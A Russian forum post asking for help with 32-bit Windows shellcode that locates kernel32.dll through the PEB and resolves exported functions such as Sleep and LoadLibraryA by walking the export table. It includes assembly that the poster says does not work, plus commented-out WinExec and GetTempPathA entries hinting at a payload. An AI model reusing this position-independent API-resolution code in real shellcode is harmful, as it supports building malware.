Надо написать шелл код, находящий в библиотеке kernel32.dll адрес функции LoadLibraryA.
Нашёл готовые реализации
https://forum.antichat.ru/showthread.php?p=342931 и
https://rdot.org/forum/showthread.php?t=1318
Проблема в том, что они не хотят работать. Решил искать адрес функции Sleep и ,вызывая ее с временным параметром, проверять работоспособность по задержке. Тоже не работает.
PHP код:
use32
;push eax ebx ecx edx esi edi ebp
;pushf
;--- получение начального адреса, команды не должны содержать код 00h
call $+5 ; вызов следующей команды
pop ebp ; в ebp - адрес возврата
sub ebp,13
xor eax,eax ; определение типа ОС 9х или NТ
add eax,[fs:eax+30h]
js method_9x
method_nt: ; Если NT
mov eax,[eax+0ch] ;
mov esi,[eax+1ch] ; Получение базового адреса kernel32.dll
lodsd ; OS_BASE: NT
mov eax,[eax+08h] ;
jmp kernel32_ptr_found
method_9x: ; Если 9х
mov eax,[eax+34h] ;
lea eax,[eax+7ch] ; Получение базового адреса kernel32.dll
mov eax,[eax+3ch] ; OS_BASE: 9х
kernel32_ptr_found:
push esi edi
mov esi,APIfunct
add esi,ebp
mov edi,APIAdr
add edi,ebp
call GetAPI
pop edi esi
mov bx, 5000
push ebx
call eax
APIAdr:
Sleep dd 0
;LoadLibraryA dd 0
;GetTempPathA dd 0
;GetProcAddress dd 0
;WinExec dd 0
APIfunct:
db 'Sleep',0
;db 'LoadLibraryA',0
;db 'GetTempPathA',0
;db 'GetProcAddress',0
;db 'WinExec',0
;db 0BBh ; Отмечает конец массива ;
;---------------;
;Эта процедура получает адрес требуемой API функции по ее имени ;
;ВХОДНЫЕ ДАННЫЕ: ESI - указатель на имя функции с учетом регистра ;
;ВЫХОДНЫЕ ДАННЫЕ: EAX - адрес требуемой функции ;
;ECX - длина имени функции ;
;---------------;
GetAPI:
jmp GetAPIs_next
kernel dd 0
ATVA dd 0
NTVA dd 0
OTVA dd 0
GetAPIs_next:
mov edx,esi ;сохраняем указатель имя
mov edi,esi ;для проверки длины
xor al,al ;будем сравнивать посимвольно с 0
@_1: scasb
jnz @_1
sub edi,esi ;EDI = размер имени функции
mov ecx,edi ;в ECX тоже самое
xor eax,eax
mov esi,3Ch ;смещение на начало PE заголовка
add esi,[ebp+kernel]
lodsw ;значение по адресу ESI в EAX
add eax,[ebp+kernel] ;нормализуем смещение PE
mov esi,[eax+78h] ;RVA таблицы экспорта
add esi,1Ch ;плюс смещение на RVA таблицы адресов
add esi,[ebp+kernel] ;нормализуем, и получаем ссылку на RVA т.адр.
lea edi,[ebp+ATVA] ;готовимся к пересылке
lodsd ;RVA табл. адресов в EAX
add eax,[ebp+kernel] ;нормализуем
stosd ;сохраняем в переменной ATVA
lodsd ;RVA табл. имен в EAX
add eax,[ebp+kernel] ;нормализуем
push eax ;сохраняем в стеке
stosd ;и в переменной NTVA
lodsd ;RVA табл. ординалов в EAX
add eax,[ebp+kernel] ;нормализуем
stosd ;сохраняем в OTVA
pop esi ;в ESI адрес табл. имен
xor ebx,ebx ;mov ebx,0
@_3: lodsd ;[ESI]==>EAX, RVA на имя функции
push esi ;сохраняем указатель на RVA имени функции
add eax,[ebp+kernel] ;нормализуем
;готовимся к сравнению
mov esi,eax ;в ESI адрес имени функции
mov edi,edx ;в EDI адрес образца имени
push ecx ;сохраняем длину образца имени
cld
rep cmpsb ;сравниваем побайтово
pop ecx ;восстанавливаем длину образца имени
jz @_4 ;переходим сюда если совпали имена
pop esi ;нет, восстанавливаем указатель на RVA им.ф-и (уже следующей)
inc ebx ;увеличиваем счетчик
jmp @_3 ;и опять начинаем с начала
@_4:
pop esi ;очищаем стек
xchg eax,ebx ;в EAX значение счетчика
shl eax,1 ;умножаем на 2 (тк ординалы это wordы)
add eax,[ebp+OTVA];прибавляем к началу таблицы орд. счетчик
xor esi,esi
xchg eax,esi ;в ESI адрес ординала
lodsw ;в EAX получаем сам ординал
shl eax,2 ;умножаем его на 4 (тк dword) и получаем смещение относительно табл. адресов
add eax,[ebp+ATVA];нормализуем
mov esi,eax ;в ESI адрес на RVA API функции
lodsd ;получаем это RVA в EAX
add eax,[ebp+kernel] ;нормализуем
ret ;и на выходе адрес требуемой ф-и